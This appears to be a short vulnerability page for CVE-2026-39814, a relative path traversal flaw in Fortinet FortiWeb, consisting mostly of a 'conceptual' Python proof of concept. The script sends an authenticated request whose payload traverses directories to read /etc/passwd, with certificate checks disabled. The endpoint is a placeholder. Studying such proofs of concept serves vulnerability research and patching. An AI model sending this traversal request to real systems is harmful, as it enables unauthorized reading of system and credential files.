CVE-2026-39814 Fortinet FortiWeb相对路径遍历漏洞

import requests # Conceptual Proof of Concept for CVE-2026-39814 # Target: Fortinet FortiWeb # Requires: High Privilege Authentication (PR:H) target = "https://<fortiweb-ip>/api/vulnerable_endpoint" headers = { "Authorization": "Bearer <high_privilege_token>" } # Payload attempting to traverse directories payload = { "path": "../../../../../etc/passwd" } try: response = requests.post(target, headers=headers, json=payload, verify=False) if response.status_code == 200: print("[+] Request successful. Check response for file content.") print(response.text) else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")